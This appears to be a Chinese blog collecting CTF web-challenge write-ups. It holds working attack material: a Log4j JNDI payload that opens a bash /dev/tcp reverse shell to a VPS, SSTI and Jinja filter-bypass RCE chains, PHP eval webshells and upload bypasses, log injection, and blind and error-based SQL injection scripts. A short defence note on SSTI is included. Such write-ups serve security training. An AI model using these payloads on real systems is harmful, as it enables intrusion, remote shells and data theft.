ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp [root@iZbp1cdkjx3v4aulod8zk9Z yiyi]
先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码
注:IP填vps公网ip,PORT要和nc监听的端口对应
1 2 3 4 bash -i >& /dev/tcp /IP/ PORT 0 >&1 bash -i >& /dev/tcp /101.37.27.18/ 4444 0 >&1
然后启动JNDIExploit
1 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101 .37 .27 .18 -l 1389 -p 8180
用nc监听端口
payload
1 ${jndi:ldap://101.37.27.18:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx}
终端1
终端2
击剑杯-近在眼前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from flask import Flask, render_template_string, requestfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressapp = Flask(__name__) limiter = Limiter( app, key_func=get_remote_address, default_limits=["10000 per hour" ] ) @limiter.limit("5/second" , override_defaults=True ) @app.route('/' ) def index (): return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e" )%open (__file__).read() @limiter.limit("5/second" , override_defaults=True ) @app.route('/ssti' ) def check (): flag = open ("/app/flag.txt" , 'r' ).read().strip() if "input" in request.args: query = request.args["input" ] render_template_string(query) return "Thank you for your input." return "No input found." app.run('0.0.0.0' , 80 )
发现Flask 应用的 check
路由存在安全漏洞:
1 2 3 4 5 6 7 8 9 @limiter.limit("5/second" , override_defaults=True ) @app.route('/ssti' ) def check (): flag = open ("/app/flag.txt" , 'r' ).read().strip() if "input" in request.args: query = request.args["input" ] render_template_string(query) return "Thank you for your input." return "No input found."
render_template_string(query)
函数直接渲染了用户提供的输入(query
),导致存在 SSTI 漏洞。
render_template_string
是 Flask 提供的一个函数,用于将模板字符串渲染为最终的 HTML 输出。它类似于 render_template
,但区别在于 render_template
是从文件系统加载模板文件,而 render_template_string
是直接渲染传递给它的字符串。
render_template_string
的工作原理render_template_string
会将传递给它的模板字符串与上下文变量进行结合,然后使用 Jinja2 模板引擎来渲染字符串并生成最终的 HTML 输出。例如:
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask, render_template_string,requestapp = Flask(__name__) @app.route('/greet' ) def greet (): name = "Alice" name = request.args["input" ] template = "Hello, {{ name }}!" return render_template_string(template, name=name) app.run()
在这个例子中,render_template_string
函数将字符串 "Hello, {{ name }}!"
与上下文变量 name
结合
如何导致 SSTI 漏洞 当用户输入直接传递给 render_template_string
而不进行任何过滤或验证时,就可能引发服务器端模板注入(SSTI)漏洞。例如:
1 2 3 4 5 6 7 8 9 10 from flask import Flask, render_template_string, requestapp = Flask(__name__) @app.route('/ssti' ) def ssti (): user_input = request.args.get('input' , '' ) return render_template_string(user_input) app.run()
在这个例子中,user_input
直接来自用户请求参数,并被传递给 render_template_string
。如果用户传递一个恶意的模板表达式作为输入,就可能导致任意代码执行:
1 http://example.com/ssti?input={{ 7*7 }}
这种请求会导致 Flask 渲染模板字符串 {{ 7*7 }}
,并返回结果 49
。
更严重的例子:
1 http://example.com/ssti?input={{ "__import__('os').popen('ls').read()" }}
这个请求利用了 Jinja2 模板的强大功能,调用 Python 的内置函数执行系统命令,可能会暴露服务器的文件系统信息或执行任意代码。
防御措施 为了防止 SSTI 漏洞,应避免直接渲染用户输入的字符串。可以采取以下措施:
输入验证和清理 :对用户输入进行严格的验证和清理。
避免直接渲染用户输入 :尽量不要将用户输入直接传递给 render_template_string
。
使用沙箱环境 :如果必须渲染用户提供的模板,考虑使用沙箱环境来限制模板的功能。
例子: 防止 SSTI 的一种方法是将用户输入进行转义,确保用户输入不会被解析为模板表达式:
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask, render_template_string, request, escapeapp = Flask(__name__) @app.route('/safe_ssti' ) def safe_ssti (): user_input = request.args.get('input' , '' ) safe_input = escape(user_input) return render_template_string("User input: {{ input }}" , input =safe_input) app.run()
在这个例子中,escape
函数对用户输入进行了转义,确保它作为普通字符串而不是模板表达式进行渲染。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests as reqimport timechar_set = "1234567890abcdef-" sess = req.session() flag = {} for i in range (1 , 46 ): for c in char_set: url = r"""http://045c5218-6cbf-40a3-a131-718130bef6d9.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (i, c) time.sleep(0.2 ) resp = sess.get(url) if resp.elapsed.seconds >= 2 : print (c, end='' ) flag[i] = c print (flag)
单身杯web签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );highlight_file (__FILE__ );$file = $_POST ['file' ];if (isset ($file )){ if (strrev ($file )==$file ){ include $file ; } }
data协议后,php标记?>闭合后可以加任意字符。
到这里就可以看到php代码已经执行,后面的已经被?>所截断
exp
1 file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('nl /f1agaaa');
[GHCTF 2024]PermissionDenied 题目源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php function blacklist ($file ) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"php1" ,"html" ,"htm" ,"phtml" ,"pht" ,"pHp" ,"pHp5" ,"pHp4" ,"pHp3" ,"pHp2" ,"pHp1" ,"Html" ,"Htm" ,"pHtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"jSp" ,"jSpx" ,"jSpa" ,"jSw" ,"jSv" ,"jSpf" ,"jHtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"aSp" ,"aSpx" ,"aSa" ,"aSax" ,"aScx" ,"aShx" ,"aSmx" ,"cEr" ,"sWf" ,"swf" ,"ini" ); $ext = pathinfo ($file , PATHINFO_EXTENSION); foreach ($deny_ext as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $filecontent = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (blacklist ($filename )){ file_put_contents ($filename , $filecontent ); echo "Success!!!" ; } else { echo "Hacker!!!" ; } } else { highlight_file (__FILE__ ); } 12345678910111213141516171819202122232425
file_put_content函数有一个文件解析的漏洞
当上传123.php/.
的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.
的文件,最终上传创建的是123.php
123.php内容
1 <?php eval ($_POST [0 ]);phpinfo ();?>
脚本
1 2 3 4 5 6 7 8 import requestsurl = "http://node5.anna.nssctf.cn:25045/" file = { "file" :("123.php%2f." ,open ('123.php' ,'r' )) } res = requests.post(url=url,files=file).text print (res)
给你shell
1 https://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?view_source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );include "config.php" ;if (isset ($_GET ['view_source' ])) { show_source (__FILE__ ); die ; } function checkCookie ($s ) { $arr = explode (':' , $s ); if ($arr [0 ] === '{"secret"' && preg_match ('/^[\"0-9A-Z]*}$/' , $arr [1 ]) && count ($arr ) === 2 ) { return true ; } else { if ( !theFirstTimeSetCookie () ) setcookie ('secret' , '' , time ()-1 ); return false ; } } function haveFun ($_f_g ) { $_g_r = 32 ; $_m_u = md5 ($_f_g ); $_h_p = strtoupper ($_m_u ); for ($i = 0 ; $i < $_g_r ; $i ++) { $_i = substr ($_h_p , $i , 1 ); $_i = ord ($_i ); print_r ($_i & 0xC0 ); } die ; } isset ($_COOKIE ['secret' ]) ? $json = $_COOKIE ['secret' ] : setcookie ('secret' , '{"secret":"' . strtoupper (md5 ('y1ng' )) . '"}' , time ()+7200 );checkCookie ($json ) ? $obj = @json_decode ($json , true ) : die ('no' );if ($obj && isset ($_GET ['give_me_shell' ])) { ($obj ['secret' ] != $flag_md5 ) ? haveFun ($flag ) : echo "here is your webshell: $shell_path " ; } die ;
解释一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );include "config.php" ;if (isset ($_GET ['view_source' ])) { show_source (__FILE__ ); die ; } function checkCookie ($s ) { $arr = explode (':' , $s ); if ($arr [0 ] === '{"secret"' && preg_match ('/^[\"0-9A-Z]*}$/' , $arr [1 ]) && count ($arr ) === 2 ) { return true ; } else { if ( ! theFirstTimeSetCookie () ) setcookie ('secret' , '' , time ()-1 ); return false ; } } function haveFun ($_f_g ) { $_g_r = 32 ; $_m_u = md5 ($_f_g ); $_h_p = strtoupper ($_m_u ); for ($i = 0 ; $i < $_g_r ; $i ++) { $_i = substr ($_h_p , $i , 1 ); $_i = ord ($_i ); print_r ($_i & 0xC0 ); } die ; } isset ($_COOKIE ['secret' ]) ? $json = $_COOKIE ['secret' ] : setcookie ('secret' , '{"secret":"' . strtoupper (md5 ('y1ng' )) . '"}' , time ()+7200 );checkCookie ($json ) ? $obj = @json_decode ($json , true ) : die ('no' );if ($obj && isset ($_GET ['give_me_shell' ])) { ($obj ['secret' ] != $flag_md5 ) ? haveFun ($flag ) : echo "here is your webshell: $shell_path " ; } die ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsfrom tqdm import tqdmurl = 'http://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?give_me_shell=' s = requests.session() for i in tqdm(range (1000 )): headers = { 'cookie' : f'secret={{"secret": {i} }}' } res = s.get(url,headers = headers) if 'here is your webshell' in res.text: print (headers) print (res.text) break
得到webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 D:\python3.7 \python.exe C:\Users\31702 \Desktop\123 .py 12 %|█▏ | 115 /1000 [00 :02 <00 :20 , 42.35 it/s] {'cookie' : 'secret={"secret": 115}' } <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>real easy checkin</title> <link href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap" rel="stylesheet" /> <style> body { margin: 0 ; } p { font-family: "Inconsolata" , monospace; text-align: center; font-size: 64 px; vertical-align: middle; user-select: none; margin: 0 ; } .flexmagic { display: flex; align-items: center; justify-content: center; height: 90 %; position: absolute; margin: 0 ; width: 100 %; flex-direction: column; } *{margin:0 px; padding:0 px;} .botCenter{width:100 %; height:35 px; line-height:35 px; background: </style> </head> <body> <a href="https://gem-love.com/" target="_blank" ><div class ="botCenter ">@颖奇L 'Amore </div ></a > <a href ='./?view_source ' target ="_blank "><button hidden ></button ></a > <div > <div class ="flexmagic "> <p id ="magic ">I prepared a webshell for you <br > here is your webshell : w3b5HeLLlll123 .php </p > </div > </div > </body > </html > <!--flag is in /flag .txt --> 进程已结束,退出代码为 0
moectf勇闯铜人阵 算术题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import requestsimport timefrom bs4 import BeautifulSoupsession = requests.Session() base_url = 'http://127.0.0.1:64459/' headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8' , } directions_map = { '1' : '北方' , '2' : '东北方' , '3' : '东方' , '4' : '东南方' , '5' : '南方' , '6' : '西南方' , '7' : '西方' , '8' : '西北方' } combinations_map = { '1, 2' : '北方一个,东北方一个' , '2, 1' : '东北方一个,北方一个' , '1, 3' : '北方一个,东方一个' , '3, 1' : '东方一个,北方一个' , '1, 4' : '北方一个,东南方一个' , '4, 1' : '东南方一个,北方一个' , '1, 5' : '北方一个,南方一个' , '5, 1' : '南方一个,北方一个' , '1, 6' : '北方一个,西南方一个' , '6, 1' : '西南方一个,北方一个' , '1, 7' : '北方一个,西方一个' , '7, 1' : '西方一个,北方一个' , '1, 8' : '北方一个,西北方一个' , '8, 1' : '西北方一个,北方一个' , '2, 3' : '东北方一个,东方一个' , '3, 2' : '东方一个,东北方一个' , '2, 4' : '东北方一个,东南方一个' , '4, 2' : '东南方一个,东北方一个' , '2, 5' : '东北方一个,南方一个' , '5, 2' : '南方一个,东北方一个' , '2, 6' : '东北方一个,西南方一个' , '6, 2' : '西南方一个,东北方一个' , '2, 7' : '东北方一个,西方一个' , '7, 2' : '西方一个,东北方一个' , '2, 8' : '东北方一个,西北方一个' , '8, 2' : '西北方一个,东北方一个' , '3, 4' : '东方一个,东南方一个' , '4, 3' : '东南方一个,东方一个' , '3, 5' : '东方一个,南方一个' , '5, 3' : '南方一个,东方一个' , '3, 6' : '东方一个,西南方一个' , '6, 3' : '西南方一个,东方一个' , '3, 7' : '东方一个,西方一个' , '7, 3' : '西方一个,东方一个' , '3, 8' : '东方一个,西北方一个' , '8, 3' : '西北方一个,东方一个' , '4, 5' : '东南方一个,南方一个' , '5, 4' : '南方一个,东南方一个' , '4, 6' : '东南方一个,西南方一个' , '6, 4' : '西南方一个,东南方一个' , '4, 7' : '东南方一个,西方一个' , '7, 4' : '西方一个,东南方一个' , '4, 8' : '东南方一个,西北方一个' , '8, 4' : '西北方一个,东南方一个' , '5, 6' : '南方一个,西南方一个' , '6, 5' : '西南方一个,南方一个' , '5, 7' : '南方一个,西方一个' , '7, 5' : '西方一个,南方一个' , '5, 8' : '南方一个,西北方一个' , '8, 5' : '西北方一个,南方一个' , '6, 7' : '西南方一个,西方一个' , '7, 6' : '西方一个,西南方一个' , '6, 8' : '西南方一个,西北方一个' , '8, 6' : '西北方一个,西南方一个' , '7, 8' : '西方一个,西北方一个' , '8, 7' : '西北方一个,西方一个' } def get_direction (numbers ): if ',' in numbers: return combinations_map.get(numbers, '未知组合' ) else : return directions_map.get(numbers, '未知方位' ) start_data = { 'player' : 'zxy' , 'direct' : '弟子明白' } response = session.post(base_url, headers=headers, data=start_data) for i in range (6 ): soup = BeautifulSoup(response.text, 'html.parser' ) numbers = soup.find('h1' , id ='status' ).text.strip() print (f"接收到的数字组合: {numbers} " ) direction = get_direction(numbers) print (f"计算出的方位: {direction} " ) answer_data = { 'player' : 'zxy' , 'direct' : direction } time.sleep(1 ) response = session.post(base_url, headers=headers, data=answer_data) print (f"提交了方位{answer_data} " )
BASECTF [Week2] Really EZ POP 关于pop链的私有属性反射机制以及一些过滤绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class Sink { private $cmd = "system('cat\t/fl*');" ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $nature = new Nature ();$sea = new Sea ();$shark = new Shark ();$sink = new Sink ();$sharkReflection = new ReflectionClass ('Shark' );$wordProperty = $sharkReflection ->getProperty ('word' );$wordProperty ->setAccessible (true );$wordProperty ->setValue ($shark , $sink );$sea ->animal = $shark ;$nature ->sea = $sea ;echo urlencode (serialize ($nature ));
BaseCTF 所以你说你懂 MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
第一个地方用的强比较, 我们可以利用数组绕过
第二个地方强转成了 string, 此时数组会变成 Array
无法绕过
此时我们可以利用第二个地方的弱比较, 让 0e
开头的字符串使 php 误认为是科学计数法, 从而转换为 0
第三个地方第二个地方用了强比较, 此时我们需要找到真实的 MD5 值一致的内容, 我们可以使用 fastcoll 工具
https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
通过调用
1 fastcoll_v1.0.0.5.exe -o a.txt a1.txt
可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入
1 apple[]=1 &banana[]=2 &appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%00 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1U%5 D%83 %60 %FB_%07 %FE%A2&banananana=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%02 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1%D5%5 D%83 %60 %FB_%07 %FE%A2
第四个地方考了 哈希长度拓展攻击
https://wiki.wgpsec.org/knowledge/ctf/Hash-Leng-Extension.html
参考文章: https://luoingly.top/post/md5-length-extension-attack/
使用工具 https://github.com/luoingly/attack-scripts/blob/main/logic/md5-extension-attack.py
此时可以拓展出 admin 尾缀
Basectf [Week4] flag直接读取不就行了? 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
1 2 ?K=DirectoryIterator&W=glob:////secret/f11444g.php J=SplFileObject&H=/secret/f11444g.php
1 2 ?K=DirectoryIterator&W=/secret J=SplFileObject&H=/secret/f11444g.php
Basectf [Week4] No JWT 获取jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsdef get_jwt_token (login_url, username, password ): login_data = { 'username' : username, 'password' : password } response = requests.post(login_url, json=login_data) token = response.json().get('token' ) print (f"JWT Token: {token} " ) login_url = "http://challenge.basectf.fun:48124/login" username = "admin" password = "123" get_jwt_token(login_url, username, password)
1 2 3 4 5 6 7 8 9 10 11 import requestsfake_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNTYwNjQ4Nn0.lpy4mkxg3OGUh2lOlMR0syCY3Z7bL5lmV1Uo3Q17K30' flag_url = 'http://challenge.basectf.fun:48124/flag' headers = { 'Authorization' : f'Bearer {fake_token} ' } response = requests.get(flag_url, headers=headers) print (response.json())
浙江省网络安全宣传洲际台州市网络安全宣传周不知道什么sql题 考的变量覆盖和sql注入
源码
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function replace_bad_word ($str ) { global $limit_words ; foreach ($limit_words as $old => $new ) { strlen ($old ) > 2 && $str = str_replace ($old ,trim ($new ),$str ); } return $str ; } function convert ($str ) { return htmlentities ($str ); } $limit_words = array ('造反' => '造**' , '法轮功' => '法**' );foreach (array ('_GET' ,'_POST' ) as $method ) { foreach ($$method as $key => $value ) { $$key = $value ; } } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include 'config.php' ;include 'function.php' ;$conn = new mysqli ($servername , $username , $password , $dbname );if ($conn ->connect_error) { die ('连接数据库失败' ); } $sql = "SELECT COUNT(*) FROM users" ;$result = $conn ->query ($sql );if ($result ->num_rows > 0 ) { $row = $result ->fetch_assoc (); $id = $row ['COUNT(*)' ] + 1 ; } else die ($conn ->error); if (isset ($_POST ['msg' ]) && $_POST ['msg' ] !== '' ) { $msg = addslashes ($_POST ['msg' ]); $msg = replace_bad_word (convert ($msg )); $sql = "INSERT INTO users VALUES($id ,'" . $msg . "')" ; $result = $conn ->query ($sql ); echo $sql ; if ($conn ->error) die ($conn ->error); } echo "<center><h1>Welcome come to SEC message board</center></h1>" ;echo <<<EOF <center> <form action="index.php" method="post"> <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p> </form> </center> EOF ;$sql = "SELECT * FROM users" ;$result = $conn ->query ($sql );if ($result ->num_rows > 0 ) { echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>" ; while ($row = $result ->fetch_row ()) { echo "<tr><th>$row [0]</th><th>$row [1]</th><tr>" ; } echo "</table></center>" ; } $conn ->close ();?>
变量覆盖
1 2 3 4 5 foreach (array ('_GET' ,'_POST' ) as $method ) { foreach ($$method as $key => $value ) { $$key = $value ; } }
读取传递的参数赋值给key,当$key为sql的时候,就相当于$sql=xxxx,那么就可以将需要的sql语句拼接
然后看sql语句,由于$sql = "SELECT * FROM users";
感觉应该不是二次注入
insert注入不支持and where等,也不考虑堆叠等,没有原题,本地环境设置两列,那么第二列使用or拼接
最终payload
1 2 limit_words[sql]=11' or updatexml(1,concat(0x7e,(version())),0) or '');# &msg=sql
BaseCTF 复读机 fuzz
1 + - * / . {{ }} __ : " \
过滤了 .
,可以用中括号绕,过滤了关键字,可以在关键字中间插入一对单引号 ''
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_'])%}
得到
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}
得到
1 BaseCTF<class 'os._wrap_close'>
使用这个类里的 popen
函数来 RCE
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}
因为过滤了斜杠和反斜杠,无法直接跳到根目录,这里提供三个方法来获取斜杠来跳到根目录
法一:利用 chr 函数来构造出一个命令
先找到 chr
1 2 BaseCTF{% set chr= '' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['_' '_bui' 'ltins_' '_' ]['chr' ]%} {% print (chr) %}
接着用 chr 搭配上数字构造出想要执行的命令
1 2 3 BaseCTF{% set chr= '' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['_' '_bui' 'ltins_' '_' ]['chr' ]%} {% set cmd='cat ' ~chr(47 )~'flag' %} {%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ](cmd)['rea' 'd' ]())%}
最后把 cmd 作为 popen 的参数传递进去,即可得到 flag
同理,利用 format 来得到 /
也是可以的
1 2 BaseCTF{% set cmd='cat ' ~'%c' %(47 )~'flag' %} {%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ](cmd)['rea' 'd' ]())%}
法二:利用环境变量的值
查看环境变量,可以看到 OLDPWD=/
1 BaseCTF{%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('env' )['rea' 'd' ]())%}
此时可以直接利用它来切换到根目录,然后再读flag
1 BaseCTF{%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('cd $OLDPWD;cat flag' )['rea' 'd' ]())%}
法三:利用 expr substr
切割出一个 /
比如 pwd 中的第一个字符就是 /
,那用 expr substr
切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了
1 BaseCTF{%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag' )['rea' 'd' ]())%}
BaseCTF 滤个不停 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
日志注入
1 incompetent=HelloWorld&Datch=/var/log/nginx/access.log&1=system('nl /flag');
BaseCTF EZ_PHP_Jail 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?> Welcome to My Jail BaseCTF{c110bf77-67 cc-4 fb3-965 c-30946 ac4fb0d} Yes! you escaped from the jail! LOL!
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
1 http://challenge.basectf.fun:34054?Jail[by.Happy=highlight_file(glob("/f*")[0]);
[CISCN2019 华北赛区 Day2 Web1]Hack World 二分法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php" flag = "" i = 0 while True : i = i + 1 letf = 32 right = 127 while letf < right: mid = (letf + right) // 2 payload = f"if(ascii(substr((select(flag)from(flag)),{i} ,1))>{mid} ,1,2)" data = {"id" : payload} res = requests.post(url=url, data=data).text if "Hello" in res: letf = mid + 1 else : right = mid if letf != 32 : flag += chr (letf) print (flag) else : break
异或
